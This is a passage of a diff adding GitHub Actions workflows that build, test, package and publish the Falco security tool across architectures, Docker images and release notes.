+#      static: ${{ matrix.static != '' && true || false }}
+      version: ${{ needs.fetch-version.outputs.version }}
+  
+  test-dev-packages-arm64:
+    needs: [fetch-version, build-dev-packages-arm64]
+    uses: ./.github/workflows/reusable_test_packages.yaml
+    with:
+      arch: aarch64
+      version: ${{ needs.fetch-version.outputs.version }}
+
+  publish-dev-packages:
+    needs: [fetch-version, test-dev-packages, test-dev-packages-arm64]
+    uses: ./.github/workflows/reusable_publish_packages.yaml
+    with:
+      bucket_suffix: '-dev'
+      version: ${{ needs.fetch-version.outputs.version }}
+    secrets: inherit
+  
+  build-dev-docker:
+    needs: [fetch-version, publish-dev-packages]
+    uses: ./.github/workflows/reusable_build_docker.yaml
+    with:
+      arch: x86_64
+      bucket_suffix: '-dev'
+      version: ${{ needs.fetch-version.outputs.version }}
+      tag: master
+    secrets: inherit
+    
+  build-dev-docker-arm64:
+    needs: [fetch-version, publish-dev-packages]
+    uses: ./.github/workflows/reusable_build_docker.yaml
+    with:
+      arch: aarch64
+      bucket_suffix: '-dev'
+      version: ${{ needs.fetch-version.outputs.version }}
+      tag: master
+    secrets: inherit
+    
+  publish-dev-docker:
+    needs: [fetch-version, build-dev-docker, build-dev-docker-arm64]
+    uses: ./.github/workflows/reusable_publish_docker.yaml
+    with:
+      tag: master
+    secrets: inherit

.github/workflows/release.yaml

@@ -0,0 +1,196 @@
+name: Release Packages and Docker images
+on:
+  release:
+    types: [published]
+
+permissions:
+  contents: read
+
+# Checks if any concurrent jobs is running for release CI and eventually cancel it.
+concurrency:
+  group: ci-release
+  cancel-in-progress: true
+
+jobs:
+  release-settings:
+    runs-on: ubuntu-latest
+    outputs:
+      is_latest: ${{ steps.get_settings.outputs.is_latest }}
+      bucket_suffix: ${{ steps.get_settings.outputs.bucket_suffix }}
+    steps:
+      - name: Get latest release
+        uses: rez0n/actions-github-release@27a57820ee808f8fd940c8a9d1f7188f854aa2b5 # v2.0
+        id: latest_release
+        env:
+          token: ${{ secrets.GITHUB_TOKEN }}
+          repository: ${{ github.repository }}
+          type: "stable"
+
+      - name: Get settings for this release
+        id: get_settings
+        shell: python
+        run: |
+          import os
+          import re
+          import sys
+
+          semver_no_meta = '''^(?P<major>0|[1-9]\d*)\.(?P<minor>0|[1-9]\d*)\.(?P<patch>0|[1-9]\d*)(?:-(?P<prerelease>(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?$'''
+          tag_name = '${{ github.event.release.tag_name }}'
+
+          is_valid_version = re.match(semver_no_meta, tag_name) is not None
+          if not is_valid_version:
+            print(f'Release version {tag_name} is not a valid full or pre-release. See RELEASE.md for more information.')
+            sys.exit(1)
+
+          is_prerelease = '-' in tag_name
+
+          # Safeguard: you need to both set "latest" in GH and not have suffixes to overwrite latest
+          is_latest = '${{ steps.latest_release.outputs.release }}' == tag_name and not is_prerelease
+
+          bucket_suffix = '-dev' if is_prerelease else ''
+
+          with open(os.environ['GITHUB_OUTPUT'], 'a') as ofp:
+            print(f'is_latest={is_latest}'.lower(), file=ofp)
+            print(f'bucket_suffix={bucket_suffix}', file=ofp)
+
+  build-packages:
+    needs: [release-settings]
+    uses: ./.github/workflows/reusable_build_packages.yaml
+    with:
+      arch: x86_64
+      version: ${{ github.event.release.tag_name }}
+      use_jemalloc: true
+    secrets: inherit
+
+  build-packages-arm64:
+    needs: [release-settings]
+    uses: ./.github/workflows/reusable_build_packages.yaml
+    with:
+      arch: aarch64
+      version: ${{ github.event.release.tag_name }}
+      use_jemalloc: true
+    secrets: inherit
+
+  test-packages:
+    needs: [release-settings, build-packages]
+    uses: ./.github/workflows/reusable_test_packages.yaml
+    # See https://github.com/falcosecurity/falco/pull/3482
+    # Since musl build does not support dynamically loaded plugins,
+    # many tests would fail (the ones using `container.foo` fields).
+    # Disable tests on static builds for now.
+#    strategy:
+#      fail-fast: false
+#      matrix:
+#        static: ["static", ""]
+    with:
+      arch: x86_64
+#      static: ${{ matrix.static != '' && true || false }}
+      version: ${{ github.event.release.tag_name }}
+
+  test-packages-arm64:
+    needs: [release-settings, build-packages-arm64]
+    uses: ./.github/workflows/reusable_test_packages.yaml
+    with:
+      arch: aarch64
+      version: ${{ github.event.release.tag_name }}
+
+  publish-packages:
+    needs: [release-settings, test-packages, test-packages-arm64]
+    uses: ./.github/workflows/reusable_publish_packages.yaml
+    with:
+      bucket_suffix: ${{ needs.release-settings.outputs.bucket_suffix }}
+      version: ${{ github.event.release.tag_name }}
+    secrets: inherit
+
+  # Both build-docker and its arm64 counterpart require build-packages because they use its output
+  build-docker:
+    needs: [release-settings, build-packages, publish-packages]
+    uses: ./.github/workflows/reusable_build_docker.yaml
+    with:
+      arch: x86_64
+      bucket_suffix: ${{ needs.release-settings.outputs.bucket_suffix }}
+      version: ${{ github.event.release.tag_name }}
+      tag: ${{ github.event.release.tag_name }}
+    secrets: inherit
+
+  build-docker-arm64:
+    needs: [release-settings, build-packages, publish-packages]
+    uses: ./.github/workflows/reusable_build_docker.yaml
+    with:
+      arch: aarch64
+      bucket_suffix: ${{ needs.release-settings.outputs.bucket_suffix }}
+      version: ${{ github.event.release.tag_name }}
+      tag: ${{ github.event.release.tag_name }}
+    secrets: inherit
+
+  publish-docker:
+    needs: [release-settings, build-docker, build-docker-arm64]
+    uses: ./.github/workflows/reusable_publish_docker.yaml
+    secrets: inherit
+    with:
+      is_latest: ${{ needs.release-settings.outputs.is_latest == 'true' }}
+      tag: ${{ github.event.release.tag_name }}
+      sign: true
+
+  release-body:
+    needs: [release-settings, publish-docker]
+    if: ${{ needs.release-settings.outputs.is_latest == 'true' }} # only for latest releases
+    permissions:
+      contents: write
+    runs-on: ubuntu-latest
+    steps:
+      - name: Clone repo
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+
+      - name: Extract LIBS and DRIVER versions
+        run: |
+          cp .github/release_template.md release-body.md
+          LIBS_VERS=$(cat cmake/modules/falcosecurity-libs.cmake | grep 'set(FALCOSECURITY_LIBS_VERSION' | tail -n1 | grep -o '[[:digit:]]*\.[[:digit:]]*\.[[:digit:]]*')
+          DRIVER_VERS=$(cat cmake/modules/driver.cmake | grep 'set(DRIVER_VERSION' | tail -n1 | grep -o '[[:digit:]]*\.[[:digit:]]*\.[[:digit:]]*+driver')
+          sed -i s/LIBSVER/$LIBS_VERS/g release-body.md
+          sed -i s/DRIVERVER/$DRIVER_VERS/g release-body.md
+
+      - name: Append release matrixes
+        run: |
+          sed -i s/FALCOBUCKET/${{ needs.release-settings.outputs.bucket_suffix }}/g release-body.md
+          sed -i s/FALCOVER/${{ github.event.release.tag_name }}/g release-body.md
+
+      - name: Generate release notes
+        uses: leodido/rn2md@9c351d81278644c0e17b1ca68edbdba305276c73
+        with:
+          milestone: ${{ github.event.release.tag_name }}
+          output: ./notes.md
+
+      - name: Merge release notes to pre existent body
+        run: cat notes.md >> release-body.md
+
+      - name: Attach release creator to release body
+        run: |
+          echo "" >> release-body.md
+          echo "#### Release Manager @${{ github.event.release.author.login }}" >> release-body.md
+
+      - name: Download debug symbols for Falco x86_64
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: falco-${{ github.event.release.tag_name }}-x86_64.debug
+
+      - name: Rename x86_64 debug symbols
+        run: mv falco.debug falco-x86_64.debug
+
+      - name: Download debug symbols for Falco aarch64
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: falco-${{ github.event.release.tag_name }}-aarch64.debug
+
+      - name: Rename aarch64 debug symbols
+        run: mv falco.debug falco-aarch64.debug
+
+      - name: Release
+        uses: softprops/action-gh-release@de2c0eb89ae2a093876385947365aca7b0e5f844 # v0.1.15
+        with:
+          body_path: ./release-body.md
+          tag_name: ${{ github.event.release.tag_name }}
+          name: ${{ github.event.release.name }}
+          files: |
+            falco-x86_64.debug
+            falco-aarch64.debug

.github/workflows/reusable_build_dev.yaml

@@ -0,0 +1,92 @@
+# This is a reusable workflow used by the master CI
+on:
+  workflow_call:
+    outputs:
+      cmdout:
+        description: "Post-build command output"
+        value: ${{ jobs.build-and-test.outputs.cmdout }}
+    inputs:
+      arch:
+        description: x86_64 or aarch64
+        required: true
+        type: string
+      minimal:
+        description: Minimal build
+        required: true
+        type: boolean
+      sanitizers:
+        description: Enable sanitizer support
+        required: false
+        default: false
+        type: boolean
+      build_type:
+        description: One of 'Debug' or 'Release'
+        required: true
+        type: string
+      git_ref:
+        description: Git ref used for checking out the code
+        required: true
+        type: string
+      cmd:
+        description: If defined, this command is executed after a successful build and its output is set in the `cmdout` output
+        required: false
+        default: ''
+        type: string
+
+permissions: 
+  contents: read
+
+jobs:
+  build-and-test:
+    # See https://github.com/actions/runner/issues/409#issuecomment-1158849936
+    runs-on: ${{ (inputs.arch == 'aarch64' && 'ubuntu-22.04-arm') || 'ubuntu-22.04' }}
+    outputs:
+      cmdout: ${{ steps.run_cmd.outputs.out }}
+    steps:
+      - name: Checkout
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+        with:
+          fetch-depth: 0
+          ref: ${{ inputs.git_ref }}
+
+      - name: Update base image
+        run: sudo apt update -y
+
+      - name: Install build dependencies
+        run: sudo DEBIAN_FRONTEND=noninteractive apt install libelf-dev libyaml-cpp-dev cmake build-essential git -y
+
+      - name: Install build dependencies (non-minimal)
+        if: inputs.minimal != true
+        run: sudo DEBIAN_FRONTEND=noninteractive apt install libssl-dev libc-ares-dev rpm libcurl4-openssl-dev linux-headers-$(uname -r) clang llvm -y
+
+      - name: Prepare project
+        run: |
+          cmake -B build -S .\
+            -DBUILD_FALCO_UNIT_TESTS=On \
+            -DCMAKE_BUILD_TYPE=${{ inputs.build_type }} \
+            -DBUILD_FALCO_MODERN_BPF=Off \
+            -DBUILD_DRIVER=${{ inputs.minimal == true && 'OFF' || 'ON' }} \
+            -DMINIMAL_BUILD=${{ inputs.minimal == true && 'ON' || 'OFF' }} \
+            -DUSE_ASAN=${{ inputs.sanitizers == true && 'ON' || 'OFF' }} \
+            -DUSE_UBSAN=${{ inputs.sanitizers == true && 'ON' || 'OFF' }} \
+            -DUSE_BUNDLED_DEPS=Off \
+            -DUSE_BUNDLED_NLOHMANN_JSON=On \
+            -DUSE_BUNDLED_CXXOPTS=On \
+            -DUSE_BUNDLED_CPPHTTPLIB=On \
+
+      - name: Build
+        run: |
+          KERNELDIR=/lib/modules/$(uname -r)/build cmake --build build -j4
+
+      - name: Run unit tests
+        run: |
+          pushd build
+          sudo ./unit_tests/falco_unit_tests
+          popd
+
+      - name: Run command
+        id: run_cmd
+        if: inputs.cmd != ''
+        run: |
+          OUT=$(${{ inputs.cmd }})
+          echo "out=${OUT}" >> $GITHUB_OUTPUT

.github/workflows/reusable_build_docker.yaml

@@ -0,0 +1,89 @@
+# This is a reusable workflow used by master and release CI
+on:
+  workflow_call:
+    inputs:
+      arch:
+        description: x86_64 or aarch64
+        required: true
+        type: string
+      bucket_suffix:
+        description: bucket suffix for packages
+        required: false
+        default: ''
+        type: string
+      version:
+        description: The Falco version to use when building images
+        required: true
+        type: string
+      tag:
+        description: The tag to use (e.g. "master" or "0.35.0")
+        required: true
+        type: string
+
+# Here we just build all docker images as tarballs,
+# then we upload all the tarballs to be later downloaded by reusable_publish_docker workflow.
+# In this way, we don't need to publish any arch specific image,
+# and this "build" workflow is actually only building images.
+
+permissions:
+  contents: read
+
+jobs:
+  build-docker:
+    # See https://github.com/actions/runner/issues/409#issuecomment-1158849936
+    runs-on: ${{ (inputs.arch == 'aarch64' && 'ubuntu-22.04-arm') || 'ubuntu-latest' }}
+    env:
+      TARGETARCH: ${{ (inputs.arch == 'aarch64' && 'arm64') || 'amd64' }}
+    steps:
+      - name: Checkout
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+
+      - name: Set up Docker Buildx
+        uses: docker/setup-buildx-action@f95db51fddba0c2d1ec667646a06c2ce06100226 # v3.0.0
+
+      - name: Build falco image
+        run: |
+          docker build -f docker/falco/Dockerfile -t docker.io/falcosecurity/falco:${{ inputs.arch }}-${{ inputs.tag }} \
+            --build-arg VERSION_BUCKET=bin${{ inputs.bucket_suffix }} \
+            --build-arg FALCO_VERSION=${{ inputs.version }} \
+            --build-arg FALCO_COMMIT_SHA=${{ github.sha }} \
+            --build-arg TARGETARCH=${TARGETARCH} \
+            .
+            docker save docker.io/falcosecurity/falco:${{ inputs.arch }}-${{ inputs.tag }} --output /tmp/falco-${{ inputs.arch }}.tar
+
+      - name: Build falco-debian image
+        run: |
+          docker build -f docker/falco-debian/Dockerfile -t docker.io/falcosecurity/falco:${{ inputs.arch }}-${{ inputs.tag }}-debian \
+            --build-arg VERSION_BUCKET=deb${{ inputs.bucket_suffix }} \
+            --build-arg FALCO_VERSION=${{ inputs.version }} \
+            --build-arg FALCO_COMMIT_SHA=${{ github.sha }} \
+            --build-arg TARGETARCH=${TARGETARCH} \
+            .
+            docker save docker.io/falcosecurity/falco:${{ inputs.arch }}-${{ inputs.tag }}-debian --output /tmp/falco-${{ inputs.arch }}-debian.tar
+
+      - name: Build falco-driver-loader image
+        run: |
+          docker build -f docker/driver-loader/Dockerfile -t docker.io/falcosecurity/falco-driver-loader:${{ inputs.arch }}-${{ inputs.tag }} \
+            --build-arg FALCO_IMAGE_TAG=${{ inputs.arch }}-${{ inputs.tag }} \
+            --build-arg FALCO_VERSION=${{ inputs.version }} \
+            --build-arg FALCO_COMMIT_SHA=${{ github.sha }} \
+            --build-arg TARGETARCH=${TARGETARCH} \
+            .
+            docker save docker.io/falcosecurity/falco-driver-loader:${{ inputs.arch }}-${{ inputs.tag }} --output /tmp/falco-driver-loader-${{ inputs.arch }}.tar
+
+      - name: Build falco-driver-loader-buster image
+        run: |
+          docker build -f docker/driver-loader-buster/Dockerfile -t docker.io/falcosecurity/falco-driver-loader:${{ inputs.arch }}-${{ inputs.tag }}-buster \
+            --build-arg VERSION_BUCKET=deb${{ inputs.bucket_suffix }} \
+            --build-arg FALCO_VERSION=${{ inputs.version }} \
+            --build-arg FALCO_COMMIT_SHA=${{ github.sha }} \
+            --build-arg TARGETARCH=${TARGETARCH} \
+            .
+            docker save docker.io/falcosecurity/falco-driver-loader:${{ inputs.arch }}-${{ inputs.tag }}-buster --output /tmp/falco-driver-loader-${{ inputs.arch }}-buster.tar
+
+      - name: Upload images tarballs
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: falco-images-${{ inputs.arch }}
+          path: /tmp/falco-*.tar
+          retention-days: 1

.github/workflows/reusable_build_packages.yaml

@@ -0,0 +1,409 @@
+# This is a reusable workflow used by master and release CI
+on:
+  workflow_call:
+    inputs:
+      arch:
+        description: x86_64 or aarch64
+        required: true
+        type: string
+      version:
+        description: The Falco version to use when building packages
+        required: true
+        type: string
+      enable_debug:
+        description: Also create a debug build
+        required: false
+        type: boolean
+        default: false
+      enable_sanitizers:
+        description: Also create a sanitizer build
+        required: false
+        type: boolean
+        default: false
+      use_jemalloc:
+        description: Use jemalloc memory allocator
+        required: false
+        type: boolean
+        default: false
+      use_mimalloc:
+        description: Use mimalloc memory allocator
+        required: false
+        type: boolean
+        default: false
+
+permissions:
+  contents: read
+
+jobs:
+  build-modern-bpf-skeleton:
+    # See https://github.com/actions/runner/issues/409#issuecomment-1158849936
+    runs-on: ${{ (inputs.arch == 'aarch64' && 'ubuntu-22.04-arm') || 'ubuntu-latest' }}
+    container: fedora:41
+    steps:
+      # Always install deps before invoking checkout action, to properly perform a full clone.
+      - name: Install build dependencies
+        run: |
+          dnf install -y bpftool ca-certificates cmake make automake gcc gcc-c++ kernel-devel clang git pkg-config autoconf automake
+
+      - name: Checkout
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+
+      - name: Build modern BPF skeleton
+        run: |
+          cmake -B skeleton-build -S . \
+                -DUSE_BUNDLED_DEPS=ON -DCREATE_TEST_TARGETS=Off -DFALCO_VERSION=${{ inputs.version }}
+          cmake --build skeleton-build --target ProbeSkeleton -j6
+
+      - name: Upload skeleton
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: bpf_probe_${{ inputs.arch }}.skel.h
+          path: skeleton-build/skel_dir/bpf_probe.skel.h
+          retention-days: 1
+
+  build-packages-release:
+    # See https://github.com/actions/runner/issues/409#issuecomment-1158849936
+    runs-on: ${{ (inputs.arch == 'aarch64' && 'ubuntu-22.04-arm') || 'ubuntu-latest' }}
+    needs: [build-modern-bpf-skeleton]
+    steps:
+      # Always install deps before invoking checkout action, to properly perform a full clone.
+      - name: Install build deps
+        run: |
+          sudo apt update && sudo apt install -y --no-install-recommends ca-certificates cmake curl wget build-essential git pkg-config autoconf automake libtool m4 rpm alien
+
+      - name: Install systemd rpm macros
+        run: |
+          wget https://www.rpmfind.net/linux/centos-stream/9-stream/BaseOS/${{ inputs.arch }}/os/Packages/systemd-rpm-macros-252-59.el9.noarch.rpm
+          sudo alien -d -i systemd-rpm-macros-252-59.el9.noarch.rpm
+
+      - name: Checkout
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+
+      - name: Download skeleton
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: bpf_probe_${{ inputs.arch }}.skel.h
+          path: /tmp
+
+      - name: Install zig
+        if: inputs.sanitizers == false
+        uses: falcosecurity/libs/.github/actions/install-zig@master
+
+      - name: Prepare project
+        run: |
+          cmake -B build -S . \
+              -DCMAKE_BUILD_TYPE=RelWithDebInfo \
+              -DUSE_BUNDLED_DEPS=On \
+              -DFALCO_ETC_DIR=/etc/falco \
+              -DMODERN_BPF_SKEL_DIR=/tmp \
+              -DBUILD_DRIVER=Off \
+              -DUSE_JEMALLOC=${{ inputs.use_jemalloc }} \
+              -DUSE_MIMALLOC=${{ inputs.use_mimalloc }} \
+              -DFALCO_VERSION=${{ inputs.version }}
+
+      - name: Build project
+        run: |
+          cmake --build build --target falco -j6
+
+      - name: Build packages
+        run: |
+          cmake --build build --target package
+
+      - name: Upload Falco tar.gz package
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: falco-${{ inputs.version }}-${{ inputs.arch }}.tar.gz
+          path: |
+            ${{ github.workspace }}/build/falco-*.tar.gz
+
+      - name: Upload Falco deb package
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: falco-${{ inputs.version }}-${{ inputs.arch }}.deb
+          path: |
+            ${{ github.workspace }}/build/falco-*.deb
+
+      - name: Upload Falco rpm package
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: falco-${{ inputs.version }}-${{ inputs.arch }}.rpm
+          path: |
+            ${{ github.workspace }}/build/falco-*.rpm
+
+      - name: Upload Falco debug symbols
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: falco-${{ inputs.version }}-${{ inputs.arch }}.debug
+          path: |
+            ${{ github.workspace }}/build/userspace/falco/falco.debug
+
+  build-packages-debug:
+    # See https://github.com/actions/runner/issues/409#issuecomment-1158849936
+    runs-on: ${{ (inputs.arch == 'aarch64' && 'ubuntu-22.04-arm') || 'ubuntu-22.04' }}
+    if: ${{ inputs.enable_debug == true }}
+    needs: [build-modern-bpf-skeleton]
+    steps:
+      # Always install deps before invoking checkout action, to properly perform a full clone.
+      - name: Install build deps
+        run: |
+          sudo apt update && sudo apt install -y --no-install-recommends ca-certificates cmake curl wget build-essential git pkg-config autoconf automake libtool m4 rpm
+
+      - name: Checkout
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+
+      - name: Download skeleton
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: bpf_probe_${{ inputs.arch }}.skel.h
+          path: /tmp
+
+      - name: Install zig
+        if: inputs.sanitizers == false
+        uses: falcosecurity/libs/.github/actions/install-zig@master
+
+      - name: Prepare project
+        run: |
+          cmake -B build -S . \
+              -DCMAKE_BUILD_TYPE=Debug \
+              -DUSE_BUNDLED_DEPS=On \
+              -DFALCO_ETC_DIR=/etc/falco \
+              -DMODERN_BPF_SKEL_DIR=/tmp \
+              -DBUILD_DRIVER=Off \
+              -DUSE_JEMALLOC=${{ inputs.use_jemalloc }} \
+              -DUSE_MIMALLOC=${{ inputs.use_mimalloc }} \
+              -DFALCO_VERSION=${{ inputs.version }}
+
+      - name: Build project
+        run: |
+          cmake --build build --target falco -j6
+
+      - name: Build packages
+        run: |
+          cmake --build build --target package
+
+      - name: Upload Falco tar.gz package
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: falco-${{ inputs.version }}-${{ inputs.arch }}-debug.tar.gz
+          path: |
+            ${{ github.workspace }}/build/falco-*.tar.gz
+
+  build-packages-sanitizers:
+    # See https://github.com/actions/runner/issues/409#issuecomment-1158849936
+    runs-on: ${{ (inputs.arch == 'aarch64' && 'ubuntu-22.04-arm') || 'ubuntu-latest' }}
+    if: ${{ inputs.enable_sanitizers == true }}
+    needs: [build-modern-bpf-skeleton]
+    steps:
+      # Always install deps before invoking checkout action, to properly perform a full clone.
+      - name: Install build deps
+        run: |
+          sudo apt update && sudo apt install -y --no-install-recommends ca-certificates cmake curl wget build-essential git pkg-config autoconf automake libtool m4 rpm
+
+      - name: Checkout
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+
+      - name: Download skeleton
+        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        with:
+          name: bpf_probe_${{ inputs.arch }}.skel.h
+          path: /tmp
+
+      - name: Prepare project
+        # Jemalloc and ASAN don't play very well together.
+        run: |
+          cmake -B build -S . \
+              -DCMAKE_BUILD_TYPE=Debug \
+              -DUSE_BUNDLED_DEPS=On \
+              -DFALCO_ETC_DIR=/etc/falco \
+              -DMODERN_BPF_SKEL_DIR=/tmp \
+              -DBUILD_DRIVER=Off \
+              -DUSE_JEMALLOC=Off \
+              -DUSE_MIMALLOC=Off \
+              -DUSE_ASAN=On \
+              -DFALCO_VERSION=${{ inputs.version }}
+
+      - name: Build project
+        run: |
+          cmake --build build --target falco -j6
+
+      - name: Build packages
+        run: |
+          cmake --build build --target package
+
+      - name: Upload Falco tar.gz package
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: falco-${{ inputs.version }}-${{ inputs.arch }}-sanitizers.tar.gz
+          path: |
+            ${{ github.workspace }}/build/falco-*.tar.gz
+
+  build-musl-package:
+    # x86_64 only for now
+    if: ${{ inputs.arch == 'x86_64' }}
+    runs-on: ubuntu-latest
+    container: alpine:3.17
+    steps:
+      # Always install deps before invoking checkout action, to properly perform a full clone.
+      - name: Install build dependencies
+        run: |
+          apk add g++ gcc cmake make git bash perl linux-headers autoconf automake m4 libtool elfutils-dev libelf-static patch binutils clang llvm
+          git clone https://github.com/libbpf/bpftool.git --branch v7.3.0 --single-branch
+          cd bpftool
+          git submodule update --init
+          cd src && make install
+
+      - name: Checkout
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+        with:
+          fetch-depth: 0
+
+      - name: Prepare project
+        run: |
+          cmake -B build -S . \
+                -DCMAKE_BUILD_TYPE=Release \
+                -DCPACK_GENERATOR=TGZ \
+                -DBUILD_DRIVER=Off \
+                -DUSE_JEMALLOC=${{ inputs.use_jemalloc }} \
+                -DUSE_MIMALLOC=${{ inputs.use_mimalloc }} \
+                -DUSE_BUNDLED_DEPS=On \
+                -DMUSL_OPTIMIZED_BUILD=On \
+                -DFALCO_ETC_DIR=/etc/falco \
+                -DFALCO_VERSION=${{ inputs.version }}
+
+      - name: Build project
+        run: |
+          cmake --build build -j6
+
+      - name: Build packages
+        run: |
+          cmake --build build -j6 --target package
+
+      - name: Rename static package
+        run: |
+          cd build
+          mv falco-${{ inputs.version }}-x86_64.tar.gz falco-${{ inputs.version }}-static-x86_64.tar.gz
+
+      - name: Upload Falco static package
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: falco-${{ inputs.version }}-static-x86_64.tar.gz
+          path: |
+            ${{ github.workspace }}/build/falco-${{ inputs.version }}-static-x86_64.tar.gz
+
+  build-wasm-package:
+    if: ${{ inputs.arch == 'x86_64' }}
+    runs-on: ubuntu-22.04
+    steps:
+      # Always install deps before invoking checkout action, to properly perform a full clone.
+      - name: Install build dependencies
+        run: |
+          sudo apt update
+          sudo DEBIAN_FRONTEND=noninteractive apt install cmake build-essential git emscripten -y
+
+      - name: Select node version
+        uses: actions/setup-node@5e21ff4d9bc1a8cf6de233a3057d20ec6b3fb69d # v3.8.1
+        with:
+          node-version: 14
+
+      - name: Checkout
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+        with:
+          fetch-depth: 0
+
+      - name: Prepare project
+        run: |
+          emcmake cmake -B build -S . \
+            -DCMAKE_BUILD_TYPE=Release \
+            -DUSE_BUNDLED_DEPS=On \
+            -DFALCO_ETC_DIR=/etc/falco \
+            -DBUILD_FALCO_UNIT_TESTS=On \
+            -DFALCO_VERSION=${{ inputs.version }}
+
+      - name: Build project
+        run: |
+          cd build
+          emmake make -j6 all
+
+      - name: Run unit Tests
+        run: |
+          cd build
+          node ./unit_tests/falco_unit_tests.js
+
+      - name: Build packages
+        run: |
+          cd build
+          emmake make -j6 package
+
+      - name: Upload Falco WASM package
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: falco-${{ inputs.version }}-wasm.tar.gz
+          path: |
+            ${{ github.workspace }}/build/falco-${{ inputs.version }}-wasm.tar.gz
+
+  build-win32-package:
+    if: ${{ inputs.arch == 'x86_64' }}
+    runs-on: windows-latest
+    steps:
+      - name: Checkout
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+        with:
+          fetch-depth: 0
+
+      - name: Install NSIS
+        run: choco install nsis -y
+
+      # NOTE: Backslash doesn't work as line continuation on Windows.
+      - name: Prepare project
+        run: |
+          cmake -B build -S . -DCMAKE_BUILD_TYPE=Release -DMINIMAL_BUILD=On -DUSE_BUNDLED_DEPS=On -DBUILD_FALCO_UNIT_TESTS=On -DFALCO_VERSION=${{ inputs.version }}
+
+      - name: Build project
+        run: |
+          cmake --build build --target package --config Release
+
+      - name: Run unit Tests
+        run: |
+          build/unit_tests/Release/falco_unit_tests.exe
+
+      - name: Upload Falco win32 installer
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: falco-installer-Release-win32.exe
+          path: build/falco-*.exe
+
+      - name: Upload Falco win32 package
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: falco-Release-win32.exe
+          path: |
+            ${{ github.workspace }}/build/userspace/falco/Release/falco.exe
+
+  build-macos-package:
+    if: ${{ inputs.arch == 'x86_64' }}
+    runs-on: macos-latest
+    steps:
+      - name: Checkout
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+        with:
+          fetch-depth: 0
+
+      - name: Prepare project
+        run: |
+          cmake -B build -S . \
+                -DMINIMAL_BUILD=On -DUSE_BUNDLED_DEPS=On -DBUILD_FALCO_UNIT_TESTS=On -DFALCO_VERSION=${{ inputs.version }}
+
+      - name: Build project
+        run: |
+          cmake --build build --target package
+
+      - name: Run unit Tests
+        run: |
+          sudo build/unit_tests/falco_unit_tests
+
+      - name: Upload Falco macos package
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: falco-${{ inputs.version }}-macos
+          path: |
+            ${{ github.workspace }}/build/userspace/falco/falco

.github/workflows/reusable_fetch_version.yaml

@@ -0,0 +1,42 @@
+# This is a reusable workflow used by master and release CI
+on:
+  workflow_call:
+    outputs:
+      version:
+        description: "Falco version"
+        value: ${{ jobs.fetch-version.outputs.version }}
+
+permissions:  
+  contents: read
+
+jobs:
+  # We need to use an ubuntu-latest to fetch Falco version because
+  # Falco version is computed by some cmake scripts that do git sorceries
+  # to get the current version.
+  # But centos7 jobs have a git version too old and actions/checkout does not
+  # fully clone the repo, but uses http rest api instead.
+  fetch-version:
+    runs-on: ubuntu-latest
+    # Map the job outputs to step outputs
+    outputs:
+      version: ${{ steps.store_version.outputs.version }}
+    steps:
+      - name: Checkout
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+        with:
+          fetch-depth: 0
+
+      - name: Install build dependencies
+        run: |
+          sudo apt update
+          sudo apt install -y cmake build-essential
+
+      - name: Configure project
+        run: |
+          cmake -B build -S . -DUSE_BUNDLED_DEPS=On -DUSE_DYNAMIC_LIBELF=Off
+
+      - name: Load and store Falco version output
+        id: store_version
+        run: |
